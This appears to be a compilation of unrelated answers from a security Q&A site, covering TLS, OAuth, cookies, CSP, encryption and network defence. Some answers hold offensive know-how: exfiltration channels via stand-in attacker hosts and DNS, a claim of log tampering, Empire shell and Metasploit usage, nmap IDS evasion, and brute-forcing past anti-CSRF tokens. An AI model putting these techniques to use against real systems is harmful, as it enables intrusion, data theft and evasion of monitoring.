How can I restrict HTTP 1.0 or less using .htaccess?

I will not answer this question but I'm trying to explain why I think the idea of such restriction is wrong.

  but there is more room for mischief with HTTP 1.0, primarily because the protocol does not require a Host header.

I very much doubt that statement. First, in the very common case that you are using VirtualHost you will not get any requests without Host header outside the default VirtualHost anyway - simply because the server cannot use the Host header to find which VirtualHost to use.

Apart from that a HTTP/1.0 request is mostly the same as a HTTP/1.1 request. In fact it's HTTP/1.1 which has more capabilities because you could also use Transfer-Encoding chunked in the request with HTTP/1.1, provided that the web server can deal with it.

More doubt about the competence of the author regarding the HTTP protocol is also the following suggested statement in the blog:

RewriteCond %{THE_REQUEST} ^POST(.*)HTTP/(0\.9|1\.0)$ [NC]

This way the author tries to match HTTP/1.0 and HTTP/0.9 request. But, with HTTP 0.9 (there is no HTTP/0.9, only HTTP 0.9) a request does not have any kind of version number so this statement will never match real HTTP 0.9 requests. See The Original HTTP as defined in 1991.

More useful are actually the tips on white listing only the requests you actually expect and denying everything else. And I would really recommend to deny unexpected ones, no matter if these came in with HTTP or HTTPS instead of only forwarding the "good" ones to HTTPS as you currently try to do.


How to handle private key encryption/decryption for web application

There are no particular limitations on the security of cryptography in JavaScript; a JavaScript implementation is likely to be slower than a native code implementation, but it will almost certainly still be fast enough for your purposes.  However, the real issue is that regardless of whether the cryptography happens on the server or on the client, the users still have to trust you, given that web apps are particularly prone to tampering and do not allow for easy user verification of the source code.  Therefore, a web app for managing bitcoin wallets is simply a bad idea.  Any user of your website would have to trust you, and all of the certificate authorities trusted by their browsers, with their bitcoins.  Given that bitcoin banks have a track record of losing/stealing their users' bitcoins, users are unlikely to trust your website.

See also "Javascript Cryptography Considered Harmful": http://matasano.com/articles/javascript-cryptography/


How to get the certificate of the Client

is this possible with openssl s_server?

Start a test server which requires a client certificate. The certificate send by the client is shown as PEM in the server output:

openssl s_server -cert ... -verify 2

  can I use a simple python ssl-socket

The peer_certificate method can not only be used by the client to get the server certificate but also by the server to get the client certificate.


Problem with OpenSSL rejecting CA possibly due to 12 digit Serial No

Added as an at-least-partial answer so I can format:

Those files (in comment to @Steffen) do have an encoding difference.

ServerGroupCertificate.cer has Subject containing Org and OrgUnit as PrintableString and CommonName as T61String aka TeletexString, and 12-Digit-Working.cer has Issuer the same, but 10-Digit-Broken.cer (which is also client_cert.pem) has Issuer all UTF8String. If your CA (PBX) is just copying the character values from parent to child, relying on openssl to (re)compute the type, that did change in 1.0.1h (not noted in CHANGES, prompting some discussion on the maillist). openssl commandline copies the whole stack-of-AVA, which preserves the types. I also notice your child certs are version 3 even though they contain no extensions; this is legal but not what openssl commandline normally does, again suggesting custom code.

One phone using 0.9.7e is probably also relevant. I don't have versions that old at hand to test, but the CHANGES file is cumulative and contains an entry for 0.9.7f dated 22 Mar 2005:

  *) Perform some character comparisons of different types in X509_NAME_cmp:
       this is needed for some certificates that reencode DNs into UTF8Strings
       (in violation of RFC3280) and can't or wont issue name rollover
       certificates.
       [Steve Henson]

This strongly suggests that there were known cases 10 years ago of CAs misbehaving
and a relier using 0.9.7e or earlier could not handle them. Although
3280 allowed a relier to use X.500's looser matching rules, which apparently do allow encoding changes, it just didn't allow a CA to depend on reliers doing so.

Further, a relier using openssl's "CAdir" method may have had trouble even longer, because the changes for 1.0.0 dated 29 Mar 2010 includes:

  *) Enhance the hash format used for certificate directory links. The
  new
       form uses the canonical encoding (meaning equivalent names will work
       even if they aren't identical) and uses SHA1 instead of MD5. This form
       is incompatible with the older format and as a result c_rehash should
       be used to rebuild symbolic links.
       [Steve Henson]

Thus I suggest you need to either get your CA(s) to stop changing the string encodings in child certs; or replace your CA cert(s) with one(s) whose name fields are already UTF8 to start with, in which case presumably the CA will keep it; or get the reliers (phones) up to 0.9.7f for "CAfile" or anything that similarly pre-fills certs to in-memory store, and probably 1.0.0 for "CAdir" or anything that similarly fetches parent certs dynamically.

HTH.


How does lack of SMTP authentication impact users?

That is the way the SMTP protocol goes... The authentication required by some SMTP servers is only used to prevent unauthorized people to use those server resources to send mail. In any case neither the From: header, nor the Reply to: one use the authenticated used name, but are prepared by the client application. Only webmail servers use the name used for authentication to fill the From: header.

Said differently, once you have a validated account on a server accepting the SMTP protocol, you can configure your mailer (Thunderbird, WindowsMail, etc.) to use almost any forged From: address. Some carefully configured servers will require that you use a domain they own, but the part of the address before the @ is never controlled (*).

So you should never trust the From addressed unless the mail is digitally signed. And the configuration of your school is acceptable on a security point of view. Anyway, if someone uses the mail server to send a forged offensive mail, the server normally keeps in its log the IP address used to send the mail. On a LAN, it is normally enough to find who is responsible for it with the help on login logs...

In the opposite, reading mail always require authentication, because a mail belongs to its recipient.

(*) some corporate servers do use corporate directories to control that the From address is valid for the authenticated user, but that is an advanced security practice.


Is conveying patient MRN in a web service URL a HIPAA PHI violation?

It depends on a number of factors.

Because the Medical Record Number (MRN) is Protected Healthcare Information (PHI), you are responsible for its Confidentiality, Integrity, and Availability and are responsible to identify and protect against reasonably anticipated threats to its security (and integrity)  AND against reasonably anticipated impermissible uses or disclosures. HIPAA Security Rule

Although HTTPS will protect the parameters against interception, log entries for the GET requests will show the unencrypted full URL on both the client and server. These create at least reasonably anticipated disclosures (such as to unauthorized employees), and also need controls.

What sort of access controls are there between the client machines and the server?  Can any machine connect if it provides a user ID and password indicating an authorized user?  Or only certain machines in combination with certain users?  Would anyone on the server side have access to the log files that shouldn't have access to the patient data?  (for example, are patient records in an encrypted data base yet any technician would be liable to stumble across the logs)  Are the client log files encrypted and/or has browser history been disabled on all browsers?


Can operating system installation from USB cause reinfection

You don't need to go overboard... Any USB installation drive created on a clean computer is enough, you don't need to buy a new USB drive just for this.

Even a computer infected with a bootkit will not load this bootkit unless booted from the infected device. If you boot from another device, the bootkit is just data sitting on the disk.

There's BIOS infection too, but those are so rare that unless you are a journalist on an oppressive regime, or a person of special interest that an attacker would pour hundreds of thousands of dollars to compromise, you don't need to worry about. So don't worry about.


how long do lowercase alphabets-only passwords have to be to match more complex ones?

There is a table at http://en.wikipedia.org/wiki/Password_strength comparing the various mixtures and their strength. Don't forget that the characters should be chosen at random! If not you enter the domain of passphrases. There is an interesting graph at http://blog.webernetz.net/2013/07/30/password-strengthentropy-characters-vs-words/ comparing the entropy of passphrases and passwords. And in the text it addresses also light variations of pass phrases. Again the words of a passphrase should be chosen at random for these calculations and graphs to be valid.

To answer the question: But how long would a lowercase-only password have to be to match a 10-character all-chars password: according to that the wiki table the answer is 14. If you want to do the math:= lower case: 26^14= 6.4E+19 is about equal to all 96: 96^10=6.6E+19


It uses SSL: https://github.com/GoogleCloudPlatform/cloudsql-proxy/blob/master/proxy/proxy/client.go

It uses Google Cloud SQL APIs for managing SSL (https://cloud.google.com/sql/docs/mysql/configure-ssl-instance, https://github.com/GoogleCloudPlatform/cloudsql-proxy/blob/master/proxy/proxy/dial.go).


How exactly does Burp Sequencer calculate the values it derives?

There is an explanation of the types of statistical tests that Burp Sequencer performs to test randomness. Below is the initial high level description and the page goes on to describe characteristics of the individual tests that are run which include character and bit analysis of the token data.

  Burp Sequencer employs standard statistical tests for randomness. These are based on the principle of testing a hypothesis against a sample of evidence, and calculating the probability of the observed data occurring, assuming that the hypothesis is true:

  The hypothesis to be tested is: that the tokens are randomly generated.
  Each test observes specific properties of the sample that are likely to have certain characteristics if the tokens are randomly generated.
  The probability of the observed characteristics occurring is calculated, working on the assumption that the hypothesis is true.
  If this probability falls below a certain level (the "significance level") then the hypothesis is rejected and the tokens are deemed to be non-random.

Hope this helps some.


Do Git Commit signatures prevent repository modification?

Both of those things are impossible, unless they can break SHA1 (which is currently vulnerable only to collision attacks, not preimage or second preimage attacks, so they would have had to trick the legitimate user into accepting a dodgy binary file). And that's exactly the point of commit signing; if it didn't prevent those things, it would be worthless.


Security of Javascript in mobile browsers

A jailbroken iPhone or "rooted" Android device is not qualitatively distinguishable from a desktop system. From the server side, you cannot know whether the device is rooted or not; or even if it really is the device you believe it is to be. Whatever issues Javascript-based crypto can have on "desktop" systems also apply to mobile platforms. Of course, any individual browser (not platform) can have more or less troublesome features in that respect, but browsers are actually fairly uniform across platforms (Safari on iOS shares a lot of code with Safari on MacOS X or Windows, for instance).

This does not mean that Javascript cryptography is inherently doomed; only that you have to work within the constraints of that language and its environment (the browser), which are somewhat adverse to tasks for which cryptography is deemed necessary. In particular:

Javascript code runs on the client, and cannot be protected from the prying eyes of the user, if he is intent on reverse-engineering it (code obfuscation can only get you so far, i.e. not very far). If you embed secrets in the Javascript code, your only actual protection is prayer.
Javascript has very little access to the platform facilities, in particular storage space.
Since Javascript code is not stored locally (it can be cached but caching duration cannot be reliably enforced from the server), it must be redistributed anew from the server. Since unprotected data sent over the Internet can get altered, this distribution must go through some HTTPS, and inherently trusts the server for not playing foul games. Presence of HTTPS and trust in the server remove most reasons why cryptography should be done on the client side.

(If you don't trust the server, then you cannot logically use Javascript code sent by that server. The problem of trusting the server is real -- but Javascript is not the solution for it.)
For bulk computational tasks (e.g. cryptographie), Javascript performance sucks big time.

There is nothing in mobile devices that would significantly modify these constraints, as compared to the situation on desktop systems.


On the Android platform, is it secure to use a custom URI scheme to receive a OAuth 2.0 authorization response from the Google Identity Platform?

Actually, that is one of the fundamental security problems. If someone knows how your application is supposed to work, then they can mimic it and do evil things like steal tokens.

Given that, there is no direct solution to the problem, but a bunch of related solutions to slightly different problems. These include (but not limited to):

Device restrictions to preventing side-loading of apps
App validation when submitting to store
Store take-down requests

This is the price we (currently) pay for having SSO capabilities within an application. There are other options like requiring custom keys on a per-app-instance basis, but that's impossible to manage, and just makes an attackers job a little bit harder. Conversely, you can push the authentication and token exchange to the device itself within a system-like process, but that just means the evil app needs to do the same thing, which actually might make their job easier.

So what it basically comes down to is whether you're comfortable with the above protections already in place.


Once established, are sockets on localhost secure?

You are safe regarding the described threat since in any case intercepting and altering network traffic at a low-level always requires the user to have elevated privileges on the local machine. An unprivileged end-user being unable intercept or tamper with them, you can therefore consider local connections as secure.

However, your question raises an interesting point I would-like to deepen a bit, especially if we lax a bit the "unprivileged end-user" perspective. Indeed, you mention Windows and Unix in your question, but the situation is quite different for these.

On Windows (and a few Unixes, namely Solaris and HP-UX), for optimization purposes (I guess) loopback communications do not go through a full IP stack. Therefore, under normal circumstances it is not possible to intercept, and even more so to alter local communication.

I say "under normal circumstances" because there is still the possibility to force the Windows host to route its local traffic through a nearby router, effectively forcing the data to travel through the full host's IP stack. This can be used to investigate a communication which could not be intercepted otherwise, however it would require to be administrator of the local machine to enforce such routing and the operation will not be discreet at all (route table with a new entry, the switch/router which will see unusual traffic, the application which will suddenly become very slow, etc.).

Alternatively, there is still the possibility to access raw socket communication and there are also a few commercial software offering IP sniffing on local interfaces. I'm not sure whether such solution can allow the communication to be altered and it seems it would require far more work anyway. You can find more information on the subject on the Wireshark website.

At the opposite, most Unix and Unix-like systems implement the loopback as any other network device, allowing to intercept the communication occurring on it as you would do with any other network interface, and thus allowing at least theorically the communication to be altered. I remind though that this would still require the potential attacker to have already acquired enough privileges on the host, at such point chances are that there are easier ways to exploit your application.


You can use the shell command.

From the help screen:

  shell: Task an agent to use a shell command.

In your case, running putty.exe would be like so:

(Empire: Win10Priv) > shell <pathtoputty>\putty.exe

You can also do this to execute Metasploit web delivery commands, sort of a simpler way if migrating from Empire to Msf.


Disk level encryption + compression performance?

Compression is Often a Bad Idea, It is a performance killer (unless your using Hardware compression), Most Binary information Compresses very poorly. Only Text is known to save you a lot of disk space when storing. But compressing a volume exposes it to more risk of data loss (not only the encryption but also the compression algorithm can leak data or lose data.)

I have not done any measurements myself recently but I would suspect it only adds complexity and does not do a performance enhancement.


Is it possible to use X509 to verify other information, like a vacination?

Anton does not need a certificate. The vaccination center needs one. It then generates a record like:
Anton Klaus:19990318:BAVARIA134:202104011200:COV19
20fdf778e435d6402811155500348a26ccb0dafa

The first line contains the needed data: name, birth date, vaccination center, vaccination date and vaccine type. Next one is the signature. One can get the BAVARIA134 certificate online, and check if the signature checks.
This record is small enough to fit on a QR-Code, and it's trivial to use a web page to read the code, grab the vaccination center certificate, and check the signature.


Ask, and it shall be delivered: https://developer.android.com/reference/android/Manifest.permission.html

All items on this very large list are arguments to <uses-permission> in the Android Manifest. It would also be helpful to read these as well:

How permissions are used by the Android system:

  At application install time, permissions requested by the application are granted to it by the package installer, based on checks against the signatures of the applications declaring those permissions and/or interaction with the user. No checks with the user are done while an application is running; the app is either granted a particular permission when installed, and can use that feature as desired, or the permission is not granted and any attempt to use the feature fails without prompting the user.

How Android implements security
The Manifest groups for permissions


The Content-Security-Policy connect-src directive is what you are after. This directive restricts what hosts the fetch method can send requests to.

Here is a minimal proof of concept:

<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="Content-Security-Policy" content="connect-src 'self'">
</head>
<body>
  <script>fetch('https://evil.com');</script>
</body>
</html>

The code above throws the following warning:

Refused to connect to 'https://evil.com/' because it violates the document's Content Security Policy.


Can Javascript overwrite a HTTPOnly cookie?

While you might not be able to rewrite the cookie you might be able to shadow it. The specific behavior depends on the browser though. With Firefox I can set a site-global HttpOnly cookie with path=/ and a JavaScript cookie with a different path. If I visit this path then I get both cookies:

# In server response
Set-Cookie: Foo=http; HttpOnly; Path=/

# In document script
document.cookie = "Foo=js; path=/f;"

# Request when visiting path /f
Cookie: Foo=js; Foo=http;

In Chrome though it shows in the request only a single cookie, the one with the HttpOnly flag. It has the other cookie stored locally though and can access it with JavaScript.

For more on this see also Cookies Lack Integrity: Real-World Implications from Usenix 2015. The findings there might be no longer fully true though since the browsers might have changed their behavior in the meantime.


What key sizes are allowed within TLS if the DHE_RSA is the only key exchange allowed?

The cipher suites in SSL/TLS do not specify minimum or maximum sizes for the asymmetric keys involved in the key exchange or the certificates (the old "export" cipher suites specified maximum sizes, but these have been deprecated). Annex F.1.1.3 contains this text:

  Because TLS allows the server to provide arbitrary DH groups, the
     client should verify that the DH group is of suitable size as defined
     by local policy.

which means that it is up to the implementations to enforce the size constraints that they wish to see enforced.

In practice, RSA and DH keys which are way too small (smaller than 512 bits) will be rejected by many implementations (and when using RSA key exchange without DHE, there is an absolute minimum of 465 bits for the RSA modulus, otherwise the key exchange cannot take place at all). Many implementations will also reject keys beyond a rather large size (e.g. more than 4096 bits), because of internal constraints in the implementation.

If you want to make sure that short keys will make the handshake fail, then you have to configure or implement it yourself on the system you control (client or server).

Microsoft has pushed an update which deactivates support for RSA and DSA keys shorter than 1024 bits -- which implies that prior to this update, they were supported. However, the Diffie-Hellman group used with DHE is not from the certificates layer, but chosen by the SSL server code itself.


How do we know the AuthKey in Pixie Dust attack?

The AuthKey is known as such:

When the registrar receives M1 he generates his public key and rnonce and can compute the

DHKey = SHA-256(gAB mod p, 192)

and subsequently the

KDK = HMAC-SHA-256(DHKey, enonce || EnrolleeMAC|| rnonce)

Finally the AuthKey is derived as part of

AuthKey|| KeyWrapKey|| EMSK = kdf(KDK, “Wi-FiEasy andSecure Key Derivation”, [256, 128, 256]).


Cryptographic algorithm to anonymise strings in pronounceable fashion?

You might try a syllable hash.

Start with a basic hash algorithm to digest individual data identifiers; it doesn't really have to be crypto-strength, and I'd recommend against. Most implementations will produce a byte array which is perfect; a few will produce a single larger primitive or arrays of larger primitives in which case you'll want to split them into bytes.

Then, find or create a lookup of possible byte values that map to simple consonant-value pairs (Ba, Be, Bi, Bo, Bu, Cha, Che, Chi, Cho, Chu, Da, De, Di, Do, Du etc). The order of the syllables and their mapping to byte values doesn't matter; the hashing is the non-reversible part of the operation, not the syllable mapping. Remember you only get 256, and if you use a secure hash it might also be wise to include a few mappings that add information without adding a syllable (a hyphen, or vowels which would be added to the previous syllable's vowel to create a dipthong or digraph).

With a basic 32-bit checksum hash like FNV-1 or Murmur, this will give you words of seemingly random construction in the 2-4 syllable range with the average trending high (and the chance of recognizable single-syllable words being almost nonexistant especially if leading zeroes are treated the same as inlined or trailing zeroes in the byte array). Using a crypto hash, you'll probably have to XOR-fold the bytes, as something like SHA-1 will give you 10-syllable words, which is why I'd recommend against a crypto hash.

It'll probably sound like some alternate-reality Japanese, but you'll be able to pronounce the resulting identifiers. To make it more English-sounding, you might start with a list of the most common English syllables, like this one. However, this list will include syllables that are common because they're prefixes or suffixes to word roots, while you'll be injecting them in random places in the word.


OAuth + Confused Deputy + access token verification + state parameter

This is the problem you are trying to prevent by validating the token:

  As a simplified example, imagine there are two apps: (1) FileStore, a
  legitimate file storage app, and (2) EvilApp. Both apps use Google's
  authentication process for client-side apps. Alice is an innocent end
  user, and her Google user ID is XYZ.

  Alice signs into FileStore using Google.
  After the auth process, FileStore creates an account for Alice and associates it with Google user ID XYZ.
  Alice uploads some files to her FileStore account. So far everything is fine.
  Later, Alice signs into EvilApp, which offers games that look kind of fun.
  As a result, EvilApp gains an access token that is associated with Google user ID XYZ.
  The owner of EvilApp can now construct the redirect URI for FileStore, inserting the access token it was issued for Alice's Google
  account.
  The attacker connects to FileStore, which will take the access token and check with Google to see what user it is for. Google will
  say that it is user XYZ.
  FileStore will give the attacker access to Alice's files because the attacker has an access token for Google user XYZ.

  FileStore's mistake was not verifying with Google that the access
  token it was given was truly issued to FileStore; the token was really
  issued to EvilApp.

  I believe proper use of the OAuth "state" parameter can also prevent
  this vulnerability. "Proper use" being cryptographically and securely
  binding the state parameter value to the current browser session. This
  can be done by hashing a combination of the session ID and a nonce
  (I'm not sure if including the nonce is necessary).

  I have two questions:

  My primary question is: Can proper use of the OAuth "state" parameter,
  along with using TLS with server certificate validation, mitigate the
  confused deputy problem, without validating the audience of the access
  token, for some definition of "proper use" that mitigates cross site
  request forgery?

No, you need to validate audience, not state, as per this article:

  Some people believe that using the state parameter in OAuth protects
  against token substitution. The only binding a browser cookie to state
  protects against is Cross Site Scripting [think they mean CSRF].   In the attack I am
  proposing the client generates a legitimate request to a bad user
  agent that captures it and provides a response that includes state
  unchanged from the request. Their is nothing in the OAuth client-side
  flow that proves the issuer you sent the request to through the
  browser ever received it and is the one responding.  Only the
  access_token parameter is generated by the Authorization server, all
  the other parameters are dropped or echoed back.   The client has no
  way to tell who the authorization server thought it was issuing that
  access_token to.

Imagine that an attacker clicks a button on your app in order to give it access to her Google account in order to validate her identity (i.e. authentication). However, instead of following the redirect she instead grabs the state value and stores it somewhere. She then gets a token from her malicious app, and then replays it to your redirect_uri, substituting in the state that she has captured herself.

Your app will then authenticate the user as the one that gave access to her malicious app. Validating the audience instead is the secure approach because this is checked by Google when you validate the token server-side.

  My secondary question is: Is cross site request forgery a type of confused deputy problem? And if "yes", then isn't the answer to my primary question also "yes" necessarily?

Yes, CSRF is another type of confused deputy problem.

state can be used for this, as this would validate that a malicious party has not enticed a user to their site and redirected them to your endpoint to authorise the attacker's account against your app. For example, if your app copies content from itself and syncs with a Google account, the attacker could redirect the user to your endpoint, you would then check server-side that the token matches, and then start syncing your content to the Google account - as this is the attacker's account, they have now gained access to your user's files. Hence why checking the state is a good mitigation against this.


Okay, I've found what caused the problem. Seems like the vulnerability I was testing is not traditional Denial of Service (like creating one HTTP packet with long string inside), but the "Resource Exhaustion". I've tweaked my code and now it is hanging the device properly.

Time to write a nice mail to device manufacturer :)


Is it possible to remote forward tcp through a free proxy

If it's a remote HTTP proxy, SSH is not the tool for the job. SSH -D can open a local port to act as a SOCKSv4 or SOCKSv5 proxy, but this requires you to connect to a remote SSH server, not an open HTTP server. SSH -R or SSH -L also require the endpoint to offer SSH authentication so they won't work as plain HTTP proxies.

Proxychains is likely what you're after, or just configuring the browser to use the proxy (Firefox offers this for sure, not sure about other browsers).

SoCat or NetCat would work as 'dumb' proxys as they are effectively just tools for handling TCP connections and don't require authentication, but you may have to experiment with them through an HTTP proxy. Again, not likely the right tool for this.

@domen thanks for correcting me. Clearly wasn't thinking straight when I wrote the first version ;)


How can I protect myself from KRACK when I can't afford a VPN?

Using a secure connection such as HTTPS helps against the attack. HTTPS Everywhere can help you ensure that HTTPS is used as much as possible:

Install the browser addon HTTPS Everywhere from the Electronic Frontier Foundation's official website: https://EFF.org/https-everywhere
Once done, click on the blue "S" icon of HTTPS Everywhere and tick on the box corresponding to "Block all unencrypted requests"

And that's it. However note that many websites may not work since they do not support HTTPS and/or don't have corresponding rulesets in HTTPS Everywhere*, so this is a better solution if you connect most of the time to HTTPS websites.

I also don't recommend free VPNs since they're more often than not malicious, and there's no way for you to be sure that they don't sniff on your traffic.

* : If you want to contribute more of those rulesets you may do so at their Github repository: https://github.com/EFForg/https-everywhere


In my own opinion when it comes to data exfiltration you should approach the situation from two:

Public facing network (our NAT gateway (including firewall))
Internal network (internal VLANs, the internal network)

In general NAT gateway (including firewall) will do nothing at all (nada, blank, only IPs and ports.. hooray!) to protect any data as far as the opened (forwarded) ports with their respective services or applications are vulnerable.

If you have in your network a vulnerable application with Remote Code Execution and you expose it to the world then is job done. Is just a mater of time until an attacker with knowledge to the RCE will exfill data from that server and other assets from the internal network (pivoting through the first web server).

Even more an NAT gateway (including firewall) will not protect you from Reverse Shells or other means of data exfiltration from the internal network.

Also in case of a Web Application you do not even want to worry about logs as they would only log access (prohibited or not). Your expose Web Application to the world, thanks and I know that I will look just like a legitimate user when sending the payload as far as I am not sending a lot of requests per second.

In a short answer, In my opinion:

The best way to detect an attack over an Web Application is to use an
WAF.
The best way to detect an attack on something is to use an
IPS/IDS.
The best way to protect data leakage is to have an DLP and an IDS at
the lvl of network with certain on host or on server appliances.
The best way to restrict and manage access to your network is to use a firewall.

Some tricky ways to extract data from an internal network or from an internal application servers:

Over port 0 (yes, it is a port)
Over web requests (I request attacker.ex/data?=this_is_the_victim_data)
Over DNS requests (I request this_is_the_victim_data.attacker.ex)
Over VPNs or proxy (It should be your last option as it can be easily detected)
Over some public and legitimate services (Web Applications, ftps, ftp etc.)
By replacing an legitimate services (for example replace the ssh service on a compromised public faced server and extract data through the generally ignored ssh banner)
Sky is the limit here...

Yes, for: "Also, as the system is already hacked, I could save the Firewall log before transmitting data and restore them after the copy file transaction is complete."

"Is my idea complete crap or is there a clear answer to this?" Is hard to replace a log but was done it before, I have done it before.

Let's not add all the ways you could be not be logged or block by a firewall and keep it for a better day.


Are file permissions set in Unix/Linux effective in Windows or Any other OS?

if the hard drive stolen and cross OS are two different condition!

If stolen, mounted in another host, all permissions are compromised, everybody could be root in his host and mount hard-drive (maybe externaly by USB - Sata changer) with all needed rights. For this condition, (strong) encryption are the only way.
About cross OS, if drive stay mounted in a Un*x like OS and serve his files through a sharing server, like samba, ftpd , netatalk or else, permission are used by the server himself and could be respected by all clients. There is no need of local encryption if server access is correctly securised.

About domain controller, samba do wrap window's user rights to un*x filesystem's ACL, so all work fine localy and remotely.

Without any considerations about security failures.


Lamp server sandbox for testing malicious php script

If you simply replace eval() with something like file_put_contents() in each de-obfuscation step you will be able to get the actual malicious code and be able to analyze it. Just make sure you don't output the results to the browser because at some point actual malicious code will be executed in the browser and your machine might get compromised. Write the contents of each step in a plain text file and open them with a plain text editor in each step.


Where are field names of decoded human readable X.509 certificates specified?

The example from the Wikipedia page does not look like x.509 to me.  Rather, it looks like the way openssl displays certificate information.
Perhaps openssl is trying to display the certificate information in a way that is more human readable, and therefore the developers of openssl took the liberty of changing some of the field names in a way that they thought would be more descriptive (e.g. Signature Algorithm instead of algorithm, X509v3 extensions instead of just extensions, etc.).
If you run the command below, you'll see that the output produced is very similar to the example from Wikipedia that you posted:
echo | openssl s_client -connect wikipedia.com:443 2>/dev/null | openssl x509 -noout -text


There are several attacks on password-based encryption, each with their own techniques and their own goals.

Password Cracking

This is the most straightforward group of attacks. The goal is to gain the password, which might be weak. The exact kind of attack may vary, from brute force, over masking attacks to mangled dictionary attacks. The outcome, however, is always the same. If you succeed, you get the password and can decrypt the file.

Cryptographic Weaknesses

Key-Derivation Function

Passwords can't be used as keys directly. For example, AES-256 requires a key that is exactly 256 bit long. It can't be longer, it can't be shorter. As a result, you need a function that derives a key from your password. These functions are aptly-named "Key-Derivation Functions".

The user password is the input for the key derivation function (short: KDF), and the output of that function is the key for the encryption and decryption algorithm. As such, if there are weaknesses in the key derivation function, an attacker may not have to get the password, and it may be enough to exploit those flaws

Encryption Function

The encryption function itself may have flaws, allowing an attacker to modify or or gain access to certain information. The Cipher-Block-Chaining Mode (short: CBC-Mode), for instance, is malleable, meaning that you can change specific bits in the plaintext by flipping bits in the ciphertext.

This of course depends on what the data actually means. For example, if a text message is:

AT 1630 INITIATE PLAN GAMMA

If an attacker knows the rough structure of the message, e.g. AT **** INITIATE PLAN ***************, then they can flip certain bits to change the message. It doesn't allow the attacker to read the data, but it may be enough to modify the data.


What exactly does a default port scan look like? I am trying to run a default port scan without setting off the ids on my test network

You may not want to attempt a "default" scan at all if you attempting to evade IDS detection. A single connection attempt to a closed port could even be enough to trigger an alert; 100 or 1000 such attempts certainly will be detected.

To limit your chances of detection, focus on a small set of ports you are interested in, and specify them with the -p flag. Additionally, you can adjust the aggressiveness of nmap's timing. It may be possible to fly under the radar of the IDS with a slow enough scan. Use -Tn, where n is 1-5; 1 being least aggressive and 5 being most aggressive.

The nmap manual also contains some advice about IDS evasion, such as using fragmentation, decoys, spoofing, and host randomization.


As a rule, No.
Firewalls aren't like barricades that an attacker has to "defeat" to proceed. You bypass a firewall by finding some path through that isn't blocked. It's not so much a matter of how many obstacles you put up but rather how many pathways through you allow. As a rule, anything you can do with two firewalls (in the same spot) you can do with one.
Now, if you're putting the firewalls in different places for different reasons, that's another story. We can't all collectively share a single firewall.


Is initializing variable to NULL or 0 or -1 a bad practice from security standpoint?

In many programming languages, initialization of local variables is forced, or the engine will flatly refuse to read uninitialized data. Even in languages where you can read uninitialized variables and thus get a copy of what remained in RAM at that emplacement, you cannot count on it to be "random"; it will have a tendency to contain always the same value, depending on what the application did previously. Indeed, in C, local variables are from the stack and/or cached in CPU registers, and these are resources which are constantly reused throughout the application.

If the article you read recommends not to initialize local variable, and then to read them, and expects this to yield "randomness", then this article shall be burnt to the stake, for many reasons:

Reading uninitialized data is a clear breach of specification; in the C programming language standard, this is called "undefined behaviour" and may yield problematic results, including an application crash, or, even worse, silent memory corruption.
This kind of randomness will not be any good, by any notion of "randomness" worth speaking of.
Reproducible behaviour is good. By trying to obtain non-reproducible values from local variables, the article just promotes making the code impossible to debug, which can only be described as a bloody stupid thing to do. In particular for security. This will almost guarantee the presence of long-standing, hard-to-detect security holes.

If you want randomness, use what the OS provides, e.g. /dev/urandom. It is incomparably better, from all point of view, than irrational home-made rituals meant to propitiate the gods of randomness.

Edit: As @TerryChia points out, your question might be about forcing a random initialization of variables (local or not) from a PRNG, instead of leaving the default value there (if there is a default value, of course; in many programming languages, local variables have no default value at all). What you call "XOR" in that context is unclear.

In that case, either you do not read the said variables before storing a meaningful value in them, in which case what the variables initially contained is completely irrelevant: it does not impact the behaviour of your code. Or you do read the variables and then get these more-or-less random values from them, making the application code not reproducible and leading to the problems explained above; namely, that the code will be hard to debug, increasing the probability and density of actual vulnerabilities.


Can anti-CSRF token prevent bruteforce attack?

Simple. You read the anti-CSRF token from the newly requested login page and each time the token is attached to the server's response. In this case, before you submit a POST request, you first read the response to your GET request from the server and the new token will be attached to it. Then you use it to generate new brute-force POST request. There may be other problems you'll come across, like say request rate limiting and so on, but the anti-CSRF token itself doesn't protect against brute force attacks.


How to ensure that only my single page app can make requests to an API

This sounds like preventing a CSRF attack. The Same Origin Policy will already prevent anything within your API from being read by another domain, but to prevent requests that makes changes to your system you will need to guard against CSRF.

On server side: I check for request header's origin and only allow requests from my-one-and-only-web-cleint.com

Checking the Origin header or a custom one such as X-Requested-With is a valid way to beat CSRF.
An attacker cannot forge this header in the web browser, so anyone connecting to the attacker's site which he has connected to your API will not be able to use it as their browser header cannot be tampered with.
You should also rely on an authorisation system to prevent the attacker from making API requests server side (where they can set any header they want).


The default GnuPG trust model allows a maximum length of trust paths of five, which can be configured. From the official documentation:

  A key K is considered valid if it meets two conditions:

  it is signed by enough valid keys, meaning

  you have signed it personally,
  it has been signed by one fully trusted key, or
  it has been signed by three marginally trusted keys; and

  the path of signed keys leading from K back to your own key is five steps or shorter.

I gave further explanation on how validity calculation works in another answer to What is the exact meaning of this gpg output regarding trust?.


What is the proper priority/mix of (people, tools and technology, processes) to optimize defense?

"Defense In Depth", as a philosophy, would suggest that you would integrate information security throughout the organization: in all functional areas, technology solutions, and business practices.  That said, such an approach has to be balanced.  Ultimately, the effort is going to be dependent on the organization in question.  The military, for instance, integrates "opsec" (operational security) to virtually all aspects of its operation, while a restaurant likely has no clue about security beyond what they're told to do by their card processor.

So, in the end, its going to vary on a LOT of factors.


Roman,

The problem is that Google authenticator is only one factor.   You would need to change the login process for your access point to handle two steps and that's usually quite hard.  You can use a system like RSA that pin-appends and then strips it out or like ours that requires the pin before you get the OTP.

Note that NPS does not use the AD password for authorization. So using a pin as the what you know is all you need.

See this doc for a working example: https://www.wikidsystems.com/support/how-to/how-to-configure-nps-2012-for-two-factor-authentication/.

Hth,

Nick


What is the impact of removing TLS_RSA_WITH_RC4_128_SHA from my server's cipher suite?

The overall cipher suite determines compatibility, not the presence or absence of one cipher.  You'll need to test different configurations to find out.

If you're already doing SSL Lab's server test, then that's your best resource for determining the impact of the change.  When you say you're

  setting up some new certificates and load balancers

that suggests that you can experiment with changes to these systems because they aren't in production use yet.  So remove TLS_RSA_WITH_RC4_128_SHA and re-run the SSL Server Test and pay attention to the Handshake Simulation section of the results.  That will tell you which clients will have problems, like the following config where IE 6 on XP is unable to work with my cipher suite:

Now, that server has RC4 completely disabled, and the only two clients that are incompatible are IE 6 on XP and Java 6u45 - but Java failed because "Client does not support DH parameters > 1024 bits", not "Protocol or cipher suite mismatch" which is what I'd expect to see if the lack of RC4 was the problem.

